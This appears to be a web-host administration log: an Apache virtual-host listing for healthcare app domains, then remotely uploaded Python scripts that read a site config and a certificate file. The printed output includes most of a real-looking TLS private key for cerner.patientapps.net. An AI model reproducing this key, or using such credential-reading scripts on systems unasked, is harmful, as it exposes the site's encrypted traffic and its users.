                 alias www.ma1-pfer.myapp.care
         port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
                 alias www.ma1-prls.myapp.care
         port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
                 alias www.ma1-rcl.myapp.care
         port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
         port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
                 alias www.ma1-rorp.myapp.care
         port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
                 alias www.ma1-savr.myapp.care
         port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
                 alias www.ma1-shem.myapp.care
         port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
                 alias www.ma1-sspr.myapp.care
         port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
                 alias www.ma1-tosr.myapp.care
         port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
         port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
                 alias www.ma1-tylo.myapp.care
         port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
                 alias www.ma1-typa.myapp.care
         port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
                 alias www.ma1-tyto.myapp.care
         port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
                 alias www.ma1-utfa.myapp.care
         port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
                 alias www.ma1-vasc.myapp.care
         port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
                 alias www.ma1-vasr.myapp.care
         port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
                 alias www.ma2-acrp.myapp.care
         port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
                 alias www.ma2-anar.myapp.care
         port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
                 alias www.ma2-anfr.myapp.care
         port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
         port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
                 alias www.ma2-anin.myapp.care
         port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
                 alias www.ma2-anrp.myapp.care
         port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
                 alias www.ma2-buni.myapp.care
         port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
                 alias www.ma2-chel.myapp.care
         port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
                 alias www.ma2-hamm.myapp.care
         port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
                 alias www.ma2-hind.myapp.care
         port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
                 alias www.ma2-lcl.myapp.care
         port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
                 alias www.ma2-mdfu.myapp.care
         port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
                 alias www.ma2-mtfp.myapp.care
         port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
                 alias www.ma2-rcl.myapp.care
         port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
         port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
                 alias www.pai-lc.myapp.care
         port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
                 alias www.pai-rco.myapp.care
         port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
                 alias www.sma1-lgb.myapp.care
         port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
                 alias www.sma1-lrygb.myapp.care
         port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
                 alias www.sma1-lsg.myapp.care
         port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
                 alias www.sma1-pcnl.myapp.care
         port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
                 alias www.test.myapp.care
         port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
         port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
         port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
         port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
         port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
         port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
                 alias live.patientapps.net
         port 80 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:2)
         port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
         port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
         port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
                 alias www.patientapps.net
         port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
*:443                  is a NameVirtualHost
         default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
         port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
                 alias myapp.care
         port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
         port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
                 alias www.cn-dego.myapp.care
         port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
                 alias www.d-oak.myapp.care
         port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
                 alias www.ma1-acrp.myapp.care
         port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
                 alias www.ma1-anfr.myapp.care
         port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
         port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
                 alias www.ma1-anin.myapp.care
         port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
                 alias www.ma1-ankp.myapp.care
         port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
                 alias www.ma1-anrp.myapp.care
         port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
                 alias www.ma1-arcr.myapp.care
         port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
                 alias www.ma1-asst.myapp.care
         port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
                 alias www.ma1-chel.myapp.care
         port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
                 alias www.ma1-cybb.myapp.care
         port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
                 alias www.ma1-dego.myapp.care
         port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
                 alias www.ma1-epas.myapp.care
         port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
                 alias www.ma1-fass.myapp.care
         port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
         port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
         port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
                 alias www.ma1-ldhr.myapp.care
         port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
                 alias www.ma1-lsst.myapp.care
         port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
                 alias www.ma1-mtfp.myapp.care
         port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
                 alias www.ma1-mvrc.myapp.care
         port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
                 alias www.ma1-octf.myapp.care
         port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
         port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
                 alias www.ma1-ovin.myapp.care
         port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
                 alias www.ma1-pfer.myapp.care
         port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
                 alias www.ma1-prls.myapp.care
         port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
                 alias www.ma1-rcl.myapp.care
         port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
         port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
                 alias www.ma1-rorp.myapp.care
         port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
                 alias www.ma1-savr.myapp.care
         port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
                 alias www.ma1-shem.myapp.care
         port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
                 alias www.ma1-sspr.myapp.care
         port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
                 alias www.ma1-tosr.myapp.care
         port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
         port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
                 alias www.ma1-tylo.myapp.care
         port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
                 alias www.ma1-typa.myapp.care
         port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
                 alias www.ma1-tyto.myapp.care
         port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
                 alias www.ma1-utfa.myapp.care
         port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
                 alias www.ma1-vasc.myapp.care
         port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
                 alias www.ma1-vasr.myapp.care
         port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
                 alias www.ma2-acrp.myapp.care
         port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
                 alias www.ma2-anar.myapp.care
         port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
                 alias www.ma2-anfr.myapp.care
         port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
         port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
                 alias www.ma2-anin.myapp.care
         port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
                 alias www.ma2-anrp.myapp.care
         port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
                 alias www.ma2-buni.myapp.care
         port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
                 alias www.ma2-chel.myapp.care
         port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
                 alias www.ma2-hamm.myapp.care
         port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
                 alias www.ma2-hind.myapp.care
         port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
                 alias www.ma2-lcl.myapp.care
         port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
                 alias www.ma2-mdfu.myapp.care
         port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
                 alias www.ma2-mtfp.myapp.care
         port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
                 alias www.ma2-rcl.myapp.care
         port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
         port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
                 alias www.pai-lc.myapp.care
         port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
                 alias www.pai-rco.myapp.care
         port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
                 alias www.sma1-lgb.myapp.care
         port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
                 alias www.sma1-lrygb.myapp.care
         port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
                 alias www.sma1-lsg.myapp.care
         port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
                 alias www.sma1-pcnl.myapp.care
         port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
                 alias www.test.myapp.care
         port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
         port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
         port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
         port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
         port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
         port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
                 alias live.patientapps.net
         port 443 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:23)
         port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
         port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
         port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
                 alias www.patientapps.net
         port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:29)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-12-15 06:00:55: 

PUT: /tmp/pkp939030

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/patientapps_cerner_net.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-15 06:00:55: 

chmod 755 /tmp/pkp939030; /tmp/pkp939030; rm /tmp/pkp939030

2025-12-15 06:00:55: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_cerner_net.conf	1680

<VirtualHost *:80>
    ServerName	cerner.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_preview/public
    <Directory /var/www/patientapps_preview>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/cerner_access.log combined
    ErrorLog	/var/log/apache2/patientapps/cerner_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	cerner.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/9165176ee0fe7a5f957c52572458ff70.crt
    DocumentRoot	/var/www/patientapps_preview/public
    <Directory /var/www/patientapps_preview>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/cerner_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/cerner_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-12-15 06:00:55: 

PUT: /tmp/pkp219969

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/9165176ee0fe7a5f957c52572458ff70.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-15 06:00:55: 

chmod 755 /tmp/pkp219969; /tmp/pkp219969; rm /tmp/pkp219969

2025-12-15 06:00:55: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/9165176ee0fe7a5f957c52572458ff70.crt	5364
6b:b6:d5:39:c6:6d:6f:e7:8c:44:c1:95:80:1b:51:58

-----BEGIN CERTIFICATE-----
MIIFBjCCA+6gAwIBAgISBfzWDL+w/LHu2PX62hgSo7sBMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjE1MDUwMjIzWhcNMjYwMzE1MDUwMjIyWjAhMR8wHQYDVQQD
ExZjZXJuZXIucGF0aWVudGFwcHMubmV0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A
MIIBCgKCAQEAti8ZVnZVa/qnBSfQTYed1ACG/XBUExjekQLQvymPpwwxtKzTduzY
dP8kN8bwcH1BYwUqr4pFpsj0ka/Sq2agbvTqDoOq5nOYttJ3xaNBu4DhH5hCcOQf
MBIGhITWkBZSrc+0IqMfFJB4ZyUnW8tqo4YLQlEgb9N0FbjGg6rxqlGPfAiSHdAp
Ehzix6e20ZPvbDB2yDudbdku8qKi3jlgBk/dT/jkXM+K7OPo/tF1TudnhN33zup1
gksK2BfRZt4RLQCUdHACQhJHINS/eJoKREq24Dqc1Cz5O460Cupstgpcb9SKjzH7
wvDPsZwXZNdEKylqdDp4yJrJj3oh1aZK6wIDAQABo4ICJDCCAiAwDgYDVR0PAQH/
BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8E
AjAAMB0GA1UdDgQWBBShc+/urB6H1xVHg2FpMYPozHUbcTAfBgNVHSMEGDAWgBTn
q58PLDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKG
F2h0dHA6Ly9yMTMuaS5sZW5jci5vcmcvMCEGA1UdEQQaMBiCFmNlcm5lci5wYXRp
ZW50YXBwcy5uZXQwEwYDVR0gBAwwCjAIBgZngQwBAgEwLQYDVR0fBCYwJDAioCCg
HoYcaHR0cDovL3IxMy5jLmxlbmNyLm9yZy8yLmNybDCCAQMGCisGAQQB1nkCBAIE
gfQEgfEA7wB1AA5XlLzzrqk+MxssmQez95Dfm8I9cTIl3SGpJaxhxU4hAAABmyCY
8vQAAAQDAEYwRAIgWbkBIclTfpwf6wavJZeIb8L+Wtcn4TGJoXkaBbRUrZYCIE04
mUNzf0buPyXBgCAH125j9PxcESCoSDizzGzn4vlzAHYA0W6ppWgHfmY1oD83pd28
A6U8QRIU1IgY9ekxsyPLlQQAAAGbIJjzzwAABAMARzBFAiBoN75P9ZIMSLLch4ky
6J/T8b1hPhvxEJ7ezWL0GhQQJwIhAP6uZpo0FZcTeeTDjeGzAwJ5ffc65kpoIHIV
mwGKMClwMA0GCSqGSIb3DQEBCwUAA4IBAQBLwCR6H5sDHhu3Bf+Q21qMm4W3GAKM
M9Hhbzng/9CWAh8yPAN0xvIVe+fwF5XozD6r+NVBiLsrZ6OtWeVhRVDFp+Lkl0b9
fo1vJ0bTTegyDGkAvCvfI1NaPPpN85tFMsPFTF34sBk6HdClKBf9J8oYr14o7m0u
v5oNN8iu+mo20+/EbpvLvnTGfBHlDOEYQG/vHWaMrY8pwSy4R7qwp3tcwZqe/vv3
ucdOu14w+1aymc64N0ilRPQfYN+BHskqLHGzaCevbNbi8S3TvIqn7VX3O3eyxYFo
0YJGDWHiyq09mWEbuof3cjUPl9Rl2flMe6Fysm4WH4VkHhdL6DyIW11E
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQC2LxlWdlVr+qcF
J9BNh53UAIb9cFQTGN6RAtC/KY+nDDG0rNN27Nh0/yQ3xvBwfUFjBSqvikWmyPSR
r9KrZqBu9OoOg6rmc5i20nfFo0G7gOEfmEJw5B8wEgaEhNaQFlKtz7Qiox8UkHhn
JSdby2qjhgtCUSBv03QVuMaDqvGqUY98CJId0CkSHOLHp7bRk+9sMHbIO51t2S7y
oqLeOWAGT91P+ORcz4rs4+j+0XVO52eE3ffO6nWCSwrYF9Fm3hEtAJR0cAJCEkcg
1L94mgpESrbgOpzULPk7jrQK6my2Clxv1IqPMfvC8M+xnBdk10QrKWp0OnjImsmP
eiHVpkrrAgMBAAECggEAKLpQxMaBhDktu3ZSF/L4cpuHkgLZmMdXgj2J4yJsbeDI
/+YfBBggr88WDq4XtF4cDwHpsAKOXaHRIvyWcSDpPsTbylDfFNPE0SIuCm3b1QoT
yddlCw3Edx+ge2GjAeUrqJWlZJTo7tT5Rb3Flbzc4x+lRrcSNE2mRvDe2DKQAg4G
mZIYW8LNazQyNP8xGPjcdfOEx9bI5Xa+var/lad7DtTlXR2loVcxSOK8oCYh0F2G
0khPmctGJ3SDDKkrLGdI6277U+aXXuab0dC8IkNvOybWn55+8uvS03dnNcR3UiWl
3iOKk4QWU+X4QlKrruOcZcGsJFTlj94gRMoXagZnoQKBgQDv1aZeu3qAMtg/JxgN
Glj8rTZvbMVRh9leNTefGgJC8bSwaAD/I+6Hh1NYPGQD/L7vAz9VOn6r8+HScB3f
FtgfjnO/zvZ2BPqQIYE6JiOHdgWjA6ueN3zySwWMayju5E8F8NbmvzG/M9q8F6t6
